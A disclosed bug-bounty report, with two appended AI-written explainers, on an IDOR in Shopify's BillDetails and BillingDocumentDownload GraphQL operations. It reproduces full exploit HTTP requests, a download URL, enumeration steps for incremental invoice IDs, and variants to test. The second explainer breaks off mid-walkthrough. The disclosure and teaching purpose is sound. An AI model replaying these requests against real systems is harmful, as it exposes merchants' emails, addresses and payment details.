Skip to content
IDOR Disclosed report Beginner

IDOR on GraphQL queries BillingDocumentDownload and BillDetails

An IDOR vulnerability in the BillingDocumentDownload and BillDetails GraphQL operations allowed any logged-in staff member to access billing details of other shops by manipulating the BillingInvoice ID. This exposed sensitive information such as email addresses, full addresses, invoice contents, and partial payment method details.

blaklis Follow

Originally disclosed on HackerOne

Bounty$5,000 Medium 5.3 View original
  • Triaged in 21 hours
  • Fixed in 32 days
  • Paid in 13 days
  • Disclosed after 4 months

Summary by the program

There was an IDOR vulnerability that affected the BillingInvoice ID in both the BillingDocumentDownload and BillDetails GraphQL operations. Staff could gain access to some information on other shops through this IDOR.

Summary by the researcher

An IDOR with numerical, predictable (incremental) ID allowed anyone to dump billing details for every other shops, which allowed to leak some PII and details from every other Shop owners/employees, through Billing GraphQL operations.

The report

Summary:

An IDOR on the BillingInvoice id on both BillingDocumentDownload and BillDetails graphql operations are leaking other merchants' ██████:

  • email
  • full address
  • content of their invoice
  • last 4 digits of credit card + type of credit card OR paypal email
  • shop impacted

Shops Used to Test:

Tested ID ██████ before I saw it was indeed embedding others' customers data.

Relevant Request IDs:

f858a40e-ad0d-407a-a589-3ffb40cc5ae5

Steps To Reproduce:

  1. Whatever the user you're loggedin with, run the following request :
POST /api/shopify/███?operation=BillDetails&type=query HTTP/2
Host: admin.shopify.com
Cookie: ██████████
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
X-Shopify-Web-Force-Proxy: 1
X-Csrf-Token: ████████
Caller-Pathname: /store/████████/access_account/invoice/███
Content-Length: 6674
Origin: https://admin.shopify.com
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
X-Pwnfox-Color: cyan
Te: trailers

{"operationName":"BillDetails","variables":{"id":"████","hasBillingSubscriptionsPermission":false},"query":"query BillDetails($id: ID!, $hasBillingSubscriptionsPermission: Boolean!) {\n  shop {\n    id\n    myshopifyDomain\n    countryCode\n    createdAt\n    name\n    plan {\n      name\n      __typename\n    }\n    easeMerchantFailedBillManualPaymentAttempts: experimentAssignment(\n      name: \"ease_merchant_failed_bill_manual_payment_attempts\"\n    )\n    __typename\n  }\n  billingAccount {\n    id\n    subscription @include(if: $hasBillingSubscriptionsPermission) {\n      id\n      billingPeriod\n      __typename\n    }\n    activePaymentMethod {\n      __typename\n      ... on BillingBankAccount {\n        id\n        bankName\n        lastDigits\n        compatibleCurrencies\n        __typename\n      }\n      ... on BillingCreditCard {\n        id\n        brand\n        lastDigits\n        compatibleCurrencies\n        __typename\n      }\n      ... on BillingReseller {\n        id\n        compatibleCurrencies\n        __typename\n      }\n      ... on BillingPaypalAccount {\n        id\n        email\n        compatibleCurrencies\n        __typename\n      }\n      ... on BillingBalance {\n        id\n        compatibleCurrencies\n        __typename\n      }\n      ... on BillingShopifyBalanceCard {\n        id\n        compatibleCurrencies\n        __typename\n      }\n      ... on BillingManualPayment {\n        id\n        compatibleCurrencies\n        __typename\n      }\n      ... on BillingUpiAccount {\n        id\n        upiId\n        compatibleCurrencies\n        __typename\n      }\n    }\n    ...BillingPaymentMethods\n    validPaymentMethods\n    currency\n    __typename\n  }\n  node(id: $id) {\n    id\n    ... on BillingInvoice {\n      id\n      credits {\n        name\n        category\n        invoiceAmount {\n          amount\n          currencyCode\n          __typename\n        }\n        __typename\n      }\n      chargeCategories {\n        shopId\n        shopName\n        shopDomain\n        category\n        name\n        description\n        count\n        subtotalAmount {\n          amount\n          currencyCode\n          __typename\n        }\n        charges {\n          __typename\n          discountValue {\n            __typename\n            ... on AppSubscriptionDiscountPercentage {\n              percentage\n              __typename\n            }\n            ... on AppSubscriptionDiscountAmount {\n              amount {\n                amount\n                currencyCode\n                __typename\n              }\n              __typename\n            }\n          }\n          amount {\n            amount\n            currencyCode\n            __typename\n          }\n          originalAmount {\n            amount\n            currencyCode\n            __typename\n          }\n          exchangeRate\n          exchangeRateAt\n          issuedAt\n          description\n          title\n          apiClientId\n          feeType\n          hasTraceabilityBetaFlag\n          chargesUrl: url\n        }\n        __typename\n      }\n      createdAt\n      billOn\n      dueOn\n      netTerm\n      status\n      name\n      originClassification\n      prefixBillName\n      purchaseType\n      authenticationStatus\n      strongCustomerAuthenticationPayload {\n        clientToken\n        paymentMethodNonce\n        redirectUrl\n        type\n        __typename\n      }\n      lastFailureReason\n      lastFailureMessage\n      totalAmount {\n        amount\n        currencyCode\n        __typename\n      }\n      totalCreditAmount {\n        amount\n        currencyCode\n        __typename\n      }\n      subtotalAmount {\n        amount\n        currencyCode\n        __typename\n      }\n      refundedAmount {\n        amount\n        currencyCode\n        __typename\n      }\n      timeline {\n        status\n        date\n        amount {\n          amount\n          currencyCode\n          __typename\n        }\n        __typename\n      }\n      paymentMethod {\n        __typename\n        ... on BillingBankAccount {\n          id\n          bankName\n          lastDigits\n          synchronous\n          __typename\n        }\n        ... on BillingCreditCard {\n          id\n          brand\n          lastDigits\n          synchronous\n          __typename\n        }\n        ... on BillingReseller {\n          id\n          synchronous\n          __typename\n        }\n        ... on BillingPaypalAccount {\n          id\n          email\n          synchronous\n          __typename\n        }\n        ... on BillingBalance {\n          id\n          synchronous\n          __typename\n        }\n        ... on BillingManualPayment {\n          id\n          synchronous\n          __typename\n        }\n        ... on BillingUpiAccount {\n          id\n          upiId\n          synchronous\n          __typename\n        }\n        ... on BillingShopifyBalanceCard {\n          id\n          synchronous\n          __typename\n        }\n      }\n      __typename\n    }\n    __typename\n  }\n}\n\nfragment BillingPaymentMethods on BillingAccount {\n  id\n  paymentMethods {\n    __typename\n    ... on BillingBankAccount {\n      id\n      priority\n      bankName\n      lastDigits\n      verificationStatus\n      synchronous\n      compatibleCurrencies\n      __typename\n    }\n    ... on BillingCreditCard {\n      id\n      priority\n      brand\n      lastDigits\n      expired\n      expiryMonth\n      expiryYear\n      synchronous\n      compatibleCurrencies\n      __typename\n    }\n    ... on BillingShopifyBalanceCard {\n      id\n      priority\n      synchronous\n      compatibleCurrencies\n      __typename\n    }\n    ... on BillingReseller {\n      id\n      priority\n      uid\n      handle\n      synchronous\n      compatibleCurrencies\n      __typename\n    }\n    ... on BillingPaypalAccount {\n      id\n      priority\n      email\n      synchronous\n      compatibleCurrencies\n      __typename\n    }\n    ... on BillingBalance {\n      id\n      priority\n      synchronous\n      compatibleCurrencies\n      __typename\n    }\n    ... on BillingShopifyBalanceAccount {\n      id\n      priority\n      synchronous\n      compatibleCurrencies\n      __typename\n    }\n    ... on BillingUpiAccount {\n      id\n      priority\n      upiId\n      synchronous\n      compatibleCurrencies\n      __typename\n    }\n    ... on BillingManualPayment {\n      id\n      priority\n      synchronous\n      compatibleCurrencies\n      __typename\n    }\n  }\n  __typename\n}\n"}

That will give you some infos about the invoice.

You can also download the PDF of the invoice, with different infos embedded in it :

POST /api/shopify/██████?operation=BillingDocumentDownload&type=mutation HTTP/2
Host: admin.shopify.com
Cookie: ██████
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
X-Shopify-Web-Force-Proxy: 1
X-Csrf-Token: ████
Caller-Pathname: /store/█████████/access_account/invoice/██████
Content-Length: 433
Origin: https://admin.shopify.com
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
X-Pwnfox-Color: cyan
Te: trailers

{"operationName":"BillingDocumentDownload","variables":{"id":"████","documentType":"CREDIT_NOTE"},"query":"mutation BillingDocumentDownload($id: ID!, $documentType: BillingDocumentType) {\n  billingDocumentDownload(id: $id, documentType: $documentType) {\n    job {\n      id\n      __typename\n    }\n    userErrors {\n      field\n      message\n      __typename\n    }\n    __typename\n  }\n}\n"}

Replace in the request the cookies, the shop name and the CSRF token, then access https://admin.shopify.com/store/*yourshop*/invoices/*theid*/download.html?document_type=INVOICE

Funnily enough, the PDF invoice display my own firstname / lastname, but will display the other merchants' email and full address.

Impact

Summary:

An attacker is able to dump ███ merchants through their invoices.

The original report as published on HackerOne, by blaklis. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 9 min read.

Context

Shopify's admin interface at admin.shopify.com exposes billing information to merchants through GraphQL operations. Two of these operations are relevant here: BillDetails, a query that returns the details of a billing invoice, and BillingDocumentDownload, a mutation that triggers the generation of a downloadable document (for example a credit note or an invoice PDF) for a given billing document.

Both operations take a BillingInvoice identifier as their id argument. The invoice identifier is numerical and predictable, incrementing from one invoice to the next. The feature is meant to let a logged-in merchant view and download only their own invoices.

The program's summary describes the issue as an IDOR affecting the BillingInvoice ID in both operations, through which staff could gain access to some information on other shops. The researcher's summary describes it as an IDOR with a numerical, predictable (incremental) ID that allowed anyone to dump billing details for every other shop, leaking some PII and details from other shop owners and employees through the Billing GraphQL operations.

Setup

The researcher was logged in to the Shopify admin as an ordinary user. The report notes that the attack works "whatever the user you're loggedin with", so no special role or permission is required beyond a normal authenticated session.

The requests were sent against admin.shopify.com over HTTP/2 with the browser session cookie, the CSRF token and the shop name in the Caller-Pathname header. The captured requests include an X-Pwnfox-Color: cyan header.

To reproduce, you need to replace the cookies, the shop name and the CSRF token in the captured requests with your own values.

Finding it

The report describes the BillingInvoice identifier as numerical and predictable (incremental). The operations accept the invoice ID as an id argument, and the report shows that using an ID belonging to another shop returned that shop's billing data.

The report states that the researcher tested an ID and saw that it was indeed embedding other customers' data. The specific ID tested is redacted in the report.

Exploitation

Step 1: Query another merchant's invoice with BillDetails

Send the BillDetails query with an invoice id that does not belong to your shop:

HTTP
POST /api/shopify/███?operation=BillDetails&type=query HTTP/2
Host: admin.shopify.com
Cookie: ██████████
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
X-Shopify-Web-Force-Proxy: 1
X-Csrf-Token: ████████
Caller-Pathname: /store/████████/access_account/invoice/███
Content-Length: 6674
Origin: https://admin.shopify.com
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
X-Pwnfox-Color: cyan
Te: trailers

{"operationName":"BillDetails","variables":{"id":"████","hasBillingSubscriptionsPermission":false},"query":"query BillDetails($id: ID!, $hasBillingSubscriptionsPermission: Boolean!) {\n  shop {\n    id\n    myshopifyDomain\n    countryCode\n    createdAt\n    name\n    plan {\n      name\n      __typename\n    }\n    easeMerchantFailedBillManualPaymentAttempts: experimentAssignment(\n      name: \"ease_merchant_failed_bill_manual_payment_attempts\"\n    )\n    __typename\n  }\n  billingAccount {\n    id\n    subscription @include(if: $hasBillingSubscriptionsPermission) {\n      id\n      billingPeriod\n      __typename\n    }\n    activePaymentMethod {\n      __typename\n      ... on BillingBankAccount {\n        id\n        bankName\n        lastDigits\n        compatibleCurrencies\n        __typename\n      }\n      ... on BillingCreditCard {\n        id\n        brand\n        lastDigits\n        compatibleCurrencies\n        __typename\n      }\n      ... on BillingReseller {\n        id\n        compatibleCurrencies\n        __typename\n      }\n      ... on BillingPaypalAccount {\n        id\n        email\n        compatibleCurrencies\n        __typename\n      }\n      ... on BillingBalance {\n        id\n        compatibleCurrencies\n        __typename\n      }\n      ... on BillingShopifyBalanceCard {\n        id\n        compatibleCurrencies\n        __typename\n      }\n      ... on BillingManualPayment {\n        id\n        compatibleCurrencies\n        __typename\n      }\n      ... on BillingUpiAccount {\n        id\n        upiId\n        compatibleCurrencies\n        __typename\n      }\n    }\n    ...BillingPaymentMethods\n    validPaymentMethods\n    currency\n    __typename\n  }\n  node(id: $id) {\n    id\n    ... on BillingInvoice {\n      id\n      credits {\n        name\n        category\n        invoiceAmount {\n          amount\n          currencyCode\n          __typename\n        }\n        __typename\n      }\n      chargeCategories {\n        shopId\n        shopName\n        shopDomain\n        category\n        name\n        description\n        count\n        subtotalAmount {\n          amount\n          currencyCode\n          __typename\n        }\n        charges {\n          __typename\n          discountValue {\n            __typename\n            ... on AppSubscriptionDiscountPercentage {\n              percentage\n              __typename\n            }\n            ... on AppSubscriptionDiscountAmount {\n              amount {\n                amount\n                currencyCode\n                __typename\n              }\n              __typename\n            }\n          }\n          amount {\n            amount\n            currencyCode\n            __typename\n          }\n          originalAmount {\n            amount\n            currencyCode\n            __typename\n          }\n          exchangeRate\n          exchangeRateAt\n          issuedAt\n          description\n          title\n          apiClientId\n          feeType\n          hasTraceabilityBetaFlag\n          chargesUrl: url\n        }\n        __typename\n      }\n      createdAt\n      billOn\n      dueOn\n      netTerm\n      status\n      name\n      originClassification\n      prefixBillName\n      purchaseType\n      authenticationStatus\n      strongCustomerAuthenticationPayload {\n        clientToken\n        paymentMethodNonce\n        redirectUrl\n        type\n        __typename\n      }\n      lastFailureReason\n      lastFailureMessage\n      totalAmount {\n        amount\n        currencyCode\n        __typename\n      }\n      totalCreditAmount {\n        amount\n        currencyCode\n        __typename\n      }\n      subtotalAmount {\n        amount\n        currencyCode\n        __typename\n      }\n      refundedAmount {\n        amount\n        currencyCode\n        __typename\n      }\n      timeline {\n        status\n        date\n        amount {\n          amount\n          currencyCode\n          __typename\n        }\n        __typename\n      }\n      paymentMethod {\n        __typename\n        ... on BillingBankAccount {\n          id\n          bankName\n          lastDigits\n          synchronous\n          __typename\n        }\n        ... on BillingCreditCard {\n          id\n          brand\n          lastDigits\n          synchronous\n          __typename\n        }\n        ... on BillingReseller {\n          id\n          synchronous\n          __typename\n        }\n        ... on BillingPaypalAccount {\n          id\n          email\n          synchronous\n          __typename\n        }\n        ... on BillingBalance {\n          id\n          synchronous\n          __typename\n        }\n        ... on BillingManualPayment {\n          id\n          synchronous\n          __typename\n        }\n        ... on BillingUpiAccount {\n          id\n          upiId\n          synchronous\n          __typename\n        }\n        ... on BillingShopifyBalanceCard {\n          id\n          synchronous\n          __typename\n        }\n      }\n      __typename\n    }\n    __typename\n  }\n}\n\nfragment BillingPaymentMethods on BillingAccount {\n  id\n  paymentMethods {\n    __typename\n    ... on BillingBankAccount {\n      id\n      priority\n      bankName\n      lastDigits\n      verificationStatus\n      synchronous\n      compatibleCurrencies\n      __typ

The variables.id value is the invoice identifier. The query resolves node(id: $id) and, when the node is a BillingInvoice, returns its credits, charge categories (including shopId, shopName and shopDomain), amounts, timeline, status and payment method. The paymentMethod and activePaymentMethod selections include BillingCreditCard with brand and lastDigits, BillingPaypalAccount with email, and BillingUpiAccount with upiId. The shop block returns the shop's myshopifyDomain, countryCode, createdAt, name and plan name. The hasBillingSubscriptionsPermission variable is set to false in the captured request and gates the subscription field through @include.

According to the report, this returns information about the invoice. The researcher states that the response leaks other merchants' email, full address, the content of their invoice, the last 4 digits of the credit card plus the card type or the PayPal email, and the impacted shop.

Step 2: Download another merchant's invoice document

The second operation triggers generation of a billing document for the same kind of ID:

HTTP
POST /api/shopify/██████?operation=BillingDocumentDownload&type=mutation HTTP/2
Host: admin.shopify.com
Cookie: ██████
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
X-Shopify-Web-Force-Proxy: 1
X-Csrf-Token: ████
Caller-Pathname: /store/█████████/access_account/invoice/██████
Content-Length: 433
Origin: https://admin.shopify.com
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
X-Pwnfox-Color: cyan
Te: trailers

{"operationName":"BillingDocumentDownload","variables":{"id":"████","documentType":"CREDIT_NOTE"},"query":"mutation BillingDocumentDownload($id: ID!, $documentType: BillingDocumentType) {\n  billingDocumentDownload(id: $id, documentType: $documentType) {\n    job {\n      id\n      __typename\n    }\n    userErrors {\n      field\n      message\n      __typename\n    }\n    __typename\n  }\n}"}

The mutation takes the invoice id and a documentType (here CREDIT_NOTE) and returns a job with its id, plus any userErrors. The report says this lets you download the PDF of the invoice, with different information embedded in it.

Step 3: Fetch the generated document

After replacing the cookies, the shop name and the CSRF token in the request, access the download URL:

Text
https://admin.shopify.com/store/*yourshop*/invoices/*theid*/download.html?document_type=INVOICE

The researcher notes that the PDF invoice displays their own first name and last name, but displays the other merchant's email and full address. In other words, part of the document is rendered from the requesting session while the billing identity fields come from the targeted invoice.

Root cause

The BillingInvoice identifier is numerical and incremental, and both operations returned data for an invoice ID belonging to another shop. The report does not describe the server-side code, so the exact missing authorisation check is not shown; what is clear is that the object lookup is not scoped to the caller's shop.

The requests carry a session cookie and a CSRF token, and the report shows they succeeded in returning another shop's billing data. The hasBillingSubscriptionsPermission variable only gates the subscription field and has no bearing on which invoice can be read.

Impact

An attacker with any logged-in account can enumerate invoice IDs and dump billing details for other merchants. The report lists the leaked data as email, full address, invoice content, the last 4 digits of the credit card plus the card type or the PayPal email, and the impacted shop. The researcher's impact statement says an attacker is able to dump merchants through their invoices, and the program's summary says staff could gain access to some information on other shops. The report does not quantify how many merchants were affected.

Fix

The report does not describe the fix that was applied. The change needed is to scope both operations to the caller: before returning a BillingInvoice from BillDetails or generating a document in BillingDocumentDownload, verify that the invoice belongs to the authenticated user's shop and reject the request otherwise. Relying on unpredictable identifiers alone would not be sufficient, since the IDs are incremental.

Variants to test

  1. Other GraphQL operations that accept a billing or invoice ID: send the same ID with each operation and check whether the response contains another shop's data.
  2. The documentType argument: try other document types besides CREDIT_NOTE and check whether the generated document belongs to another merchant.
  3. The download URL: change the invoice ID in /store/*yourshop*/invoices/*theid*/download.html?document_type=INVOICE and see whether a document for another shop is served.
  4. The node(id:) pattern: any query that resolves an object through a global node field is worth testing with IDs from another account, since the resolver may not scope the lookup.

A positive result is a response or document containing data that belongs to a shop other than the one you are logged in to.

Hunting notes

This kind of bug tends to hide in GraphQL operations that take an object ID as a variable and resolve it through a generic node(id:) field, especially in billing, invoicing and document-generation features where the ID is a database sequence. During recon, look for numerical or otherwise sequential IDs in request bodies and URLs, and for operations whose names suggest per-object access (BillDetails, BillingDocumentDownload in this case). The signal is an ID that changes by one between your own objects.

To show enough impact, the researcher demonstrated both read paths: the query that returns invoice fields and the mutation plus download URL that produces a PDF. The report also notes that the PDF shows the requester's own first name and last name but the other merchant's email and full address.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 16 min read.

What happened, in plain words

Shopify is a platform that lets people run online shops. Every shop owner has an admin area at admin.shopify.com where they manage products, orders and, importantly for this story, money: the bills Shopify sends them for using the platform.

Those bills are stored as invoices. Each invoice has an identifier, a number the system uses to find it. The report describes this number as numerical and predictable (incremental). And when the admin area asks the server for an invoice by its number, the report shows it returned another shop's invoice. So if you are logged in with any shop and you change the number in the request to a number that belongs to somebody else, the server happily hands you that other shop's invoice.

This kind of bug has a name: IDOR, short for Insecure Direct Object Reference. The everyday comparison is a hotel. You are given key card number 101 for your room. If the door lock only checks that the card is a valid hotel card, and not that it is the card for room 101, then any guest can open any room by trying the next number. The card is real, the guest is real, the only thing missing is the check that this particular guest is allowed into this particular room.

Two features were affected. One is a query that returns the details of an invoice. The other is an action that generates a downloadable document, such as a PDF invoice or a credit note. Both took the invoice number as input and both returned data for whichever number you gave them.

What leaked, according to the report: the merchant's email, full address, the content of their invoice, the last four digits of their credit card plus the card type, or their PayPal email, and which shop was impacted. The researcher's summary says this could be done for every other shop. The program's summary says staff could gain access to some information on other shops.

The two pieces of the admin area involved

Before the steps, two ideas need explaining, because the whole report is built on them.

What an API is. When you click around a web page, your browser does not magically get new content. It sends a request to a server and the server sends back data. An API is the set of addresses and rules for those requests, designed for programs rather than for humans clicking links. Think of a restaurant: the menu is the API. You do not walk into the kitchen, you order from the menu and the kitchen sends back a dish. Here the menu is at admin.shopify.com and the dishes are invoice details.

What GraphQL is. GraphQL is a particular style of API. Instead of many separate addresses, there is usually one address, and the request body describes exactly which fields you want back, in a shape that looks like the answer. The request names an operation (a query if it only reads, a mutation if it changes something or triggers an action) and passes variables, which are the inputs. The server returns only the fields you asked for. This matters here because the request body itself shows, in plain text, every piece of data the researcher was able to ask for, including emails and card digits.

What a cookie and a CSRF token are. A cookie is a small piece of text your browser stores for a site and sends back with every request. The most important one is the session cookie: after you log in, the server gives you one, and it is how the server recognises you on the next request. It is like a wristband at an event: show it and you are let in without showing your ID again. A CSRF token is a second, secret value the page includes so the server can tell that a request really came from the site's own pages and not from a malicious page pretending to be you. CSRF stands for Cross-Site Request Forgery. Both values are sensitive: anyone who has them can act as you, which is why they are redacted in the report.

Setting up

The researcher was logged in to the Shopify admin as an ordinary user. The report notes the attack works "whatever the user you're loggedin with", so no special role or permission is needed beyond a normal logged-in session.

The requests were sent to admin.shopify.com over HTTP/2, the modern version of the protocol browsers and servers use to talk to each other. Each request carried the browser session cookie, the CSRF token, and the shop name inside a header called Caller-Pathname. A header is a labelled line of extra information attached to a request, like the address block on an envelope.

The captured requests include an X-Pwnfox-Color: cyan header. To reproduce the attack, you replace the cookies, the shop name and the CSRF token in the captured requests with your own values.

Finding it

The report describes the invoice identifier used by these billing operations as numerical and predictable (incremental). The operations accept the invoice number as an id input, and the report shows that using a number belonging to another shop returned that shop's billing data.

The report says the researcher tested an ID and saw that it was indeed embedding other customers' data. The specific number tested is redacted.

Exploitation

Step 1: Ask for another merchant's invoice with BillDetails

The first step is to send the BillDetails query with an invoice number that does not belong to your shop.

HTTP
POST /api/shopify/███?operation=BillDetails&type=query HTTP/2
Host: admin.shopify.com
Cookie: ██████████
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
X-Shopify-Web-Force-Proxy: 1
X-Csrf-Token: ████████
Caller-Pathname: /store/████████/access_account/invoice/███
Content-Length: 6674
Origin: https://admin.shopify.com
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
X-Pwnfox-Color: cyan
Te: trailers

{"operationName":"BillDetails","variables":{"id":"████","hasBillingSubscriptionsPermission":false},"query":"query BillDetails($id: ID!, $hasBillingSubscriptionsPermission: Boolean!) {\n  shop {\n    id\n    myshopifyDomain\n    countryCode\n    createdAt\n    name\n    plan {\n      name\n      __typename\n    }\n    easeMerchantFailedBillManualPaymentAttempts: experimentAssignment(\n      name: \"ease_merchant_failed_bill_manual_payment_attempts\"\n    )\n    __typename\n  }\n  billingAccount {\n    id\n    subscription @include(if: $hasBillingSubscriptionsPermission) {\n      id\n      billingPeriod\n      __typename\n    }\n    activePaymentMethod {\n      __typename\n      ... on BillingBankAccount {\n        id\n        bankName\n        lastDigits\n        compatibleCurrencies\n        __typename\n      }\n      ... on BillingCreditCard {\n        id\n        brand\n        lastDigits\n        compatibleCurrencies\n        __typename\n      }\n      ... on BillingReseller {\n        id\n        compatibleCurrencies\n        __typename\n      }\n      ... on BillingPaypalAccount {\n        id\n        email\n        compatibleCurrencies\n        __typename\n      }\n      ... on BillingBalance {\n        id\n        compatibleCurrencies\n        __typename\n      }\n      ... on BillingShopifyBalanceCard {\n        id\n        compatibleCurrencies\n        __typename\n      }\n      ... on BillingManualPayment {\n        id\n        compatibleCurrencies\n        __typename\n      }\n      ... on BillingUpiAccount {\n        id\n        upiId\n        compatibleCurrencies\n        __typename\n      }\n    }\n    ...BillingPaymentMethods\n    validPaymentMethods\n    currency\n    __typename\n  }\n  node(id: $id) {\n    id\n    ... on BillingInvoice {\n      id\n      credits {\n        name\n        category\n        invoiceAmount {\n          amount\n          currencyCode\n          __typename\n        }\n        __typename\n      }\n      chargeCategories {\n        shopId\n        shopName\n        shopDomain\n        category\n        name\n        description\n        count\n        subtotalAmount {\n          amount\n          currencyCode\n          __typename\n        }\n        charges {\n          __typename\n          discountValue {\n            __typename\n            ... on AppSubscriptionDiscountPercentage {\n              percentage\n              __typename\n            }\n            ... on AppSubscriptionDiscountAmount {\n              amount {\n                amount\n                currencyCode\n                __typename\n              }\n              __typename\n            }\n          }\n          amount {\n            amount\n            currencyCode\n            __typename\n          }\n          originalAmount {\n            amount\n            currencyCode\n            __typename\n          }\n          exchangeRate\n          exchangeRateAt\n          issuedAt\n          description\n          title\n          apiClientId\n          feeType\n          hasTraceabilityBetaFlag\n          chargesUrl: url\n        }\n        __typename\n      }\n      createdAt\n      billOn\n      dueOn\n      netTerm\n      status\n      name\n      originClassification\n      prefixBillName\n      purchaseType\n      authenticationStatus\n      strongCustomerAuthenticationPayload {\n        clientToken\n        paymentMethodNonce\n        redirectUrl\n        type\n        __typename\n      }\n      lastFailureReason\n      lastFailureMessage\n      totalAmount {\n        amount\n        currencyCode\n        __typename\n      }\n      totalCreditAmount {\n        amount\n        currencyCode\n        __typename\n      }\n      subtotalAmount {\n        amount\n        currencyCode\n        __typename\n      }\n      refundedAmount {\n        amount\n        currencyCode\n        __typename\n      }\n      timeline {\n        status\n        date\n        amount {\n          amount\n          currencyCode\n          __typename\n        }\n        __typename\n      }\n      paymentMethod {\n        __typename\n        ... on BillingBankAccount {\n          id\n          bankName\n          lastDigits\n          synchronous\n          __typename\n        }\n        ... on BillingCreditCard {\n          id\n          brand\n          lastDigits\n          synchronous\n          __typename\n        }\n        ... on BillingReseller {\n          id\n          synchronous\n          __typename\n        }\n        ... on BillingPaypalAccount {\n          id\n          email\n          synchronous\n          __typename\n        }\n        ... on BillingBalance {\n          id\n          synchronous\n          __typename\n        }\n        ... on BillingManualPayment {\n          id\n          synchronous\n          __typename\n        }\n        ... on BillingUpiAccount {\n          id\n          upiId\n          synchronous\n          __typename\n        }\n        ... on BillingShopifyBalanceCard {\n          id\n          synchronous\n          __typename\n        }\n      }\n      __typename\n    }\n    __typename\n  }\n}\n\nfragment BillingPaymentMethods on BillingAccount {\n  id\n  paymentMethods {\n    __typename\n    ... on BillingBankAccount {\n      id\n      priority\n      bankName\n      lastDigits\n      verificationStatus\n      synchronous\n      compatibleCurrencies\n      __typ

Line by line, in plain words:

  • POST /api/shopify/███?operation=BillDetails&type=query HTTP/2: this is the address the request goes to. POST means "I am sending data". The operation=BillDetails part says which operation is being called, and type=query says it only reads. HTTP/2 is the protocol version.
  • Host: admin.shopify.com: the server being talked to.
  • Cookie: ██████████: the session cookie, redacted. This is the wristband that proves the researcher is logged in.
  • User-Agent: which browser and operating system sent the request. Here Firefox 110 on Ubuntu Linux.
  • Accept, Accept-Language, Accept-Encoding: what kind of answer the browser is willing to receive, in which language, and whether it can be compressed.
  • Content-Type: application/json: the body of the request is in JSON, a common text format for structured data.
  • X-Shopify-Web-Force-Proxy: 1: a Shopify-specific header. The report does not explain it.
  • X-Csrf-Token: ████████: the CSRF token, redacted. This is the proof that the request came from the site's own pages.
  • Caller-Pathname: /store/████████/access_account/invoice/███: the page the request was made from, with the shop name and invoice number redacted.
  • Content-Length: 6674: the size of the body in bytes.
  • Origin: https://admin.shopify.com: which site the request originates from.
  • Sec-Fetch-Dest, Sec-Fetch-Mode, Sec-Fetch-Site: headers the browser adds automatically to describe the context of the request. same-origin means it is going to the same site that made it.
  • X-Pwnfox-Color: cyan: a header added by the Pwnfox extension to colour-code this session.
  • Te: trailers: a header about how the connection is handled.
  • The body: operationName is the name of the operation, variables holds the inputs, and query is the GraphQL text describing exactly which fields to return.
  • Inside variables, id is the invoice number, redacted. This is the value the researcher changed to point at another shop's invoice.
  • hasBillingSubscriptionsPermission is set to false. It only controls whether the subscription field is included, through the @include directive, and has nothing to do with which invoice can be read.
  • Inside the query, the shop block asks for the shop's myshopifyDomain, countryCode, createdAt, name and plan name.
  • The billingAccount block asks for the account's payment methods. The ... on BillingCreditCard part asks for brand and lastDigits, the ... on BillingPaypalAccount part asks for email, and the ... on BillingUpiAccount part asks for upiId.
  • The node(id: $id) block is the key part. It looks up whatever object has the given ID, and if that object is a BillingInvoice, it returns its credits, charge categories (including shopId, shopName and shopDomain), amounts, timeline, status and payment method.
  • The fragment BillingPaymentMethods at the end is a reusable list of fields for payment methods, so the same selection can be included in more than one place without repeating it.

According to the report, this returns information about the invoice. The researcher states the response leaks other merchants' email, full address, the content of their invoice, the last four digits of the credit card plus the card type or the PayPal email, and the impacted shop.

Step 2: Trigger a download of another merchant's invoice document

The second step uses a different operation, a mutation, which triggers the server to generate a document.

HTTP
POST /api/shopify/██████?operation=BillingDocumentDownload&type=mutation HTTP/2
Host: admin.shopify.com
Cookie: ██████
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
X-Shopify-Web-Force-Proxy: 1
X-Csrf-Token: ████
Caller-Pathname: /store/█████████/access_account/invoice/██████
Content-Length: 433
Origin: https://admin.shopify.com
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
X-Pwnfox-Color: cyan
Te: trailers

{"operationName":"BillingDocumentDownload","variables":{"id":"████","documentType":"CREDIT_NOTE"},"query":"mutation BillingDocumentDownload($id: ID!, $documentType: BillingDocumentType) {\n  billingDocumentDownload(id: $id, documentType: $documentType) {\n    job {\n      id\n      __typename\n    }\n    userErrors {\n      field\n      message\n      __typename\n    }\n    __typename\n  }\n}"}

Line by line:

  • The address is the same kind of API endpoint, but this time operation=BillingDocumentDownload and type=mutation, meaning it triggers an action rather than just reading.
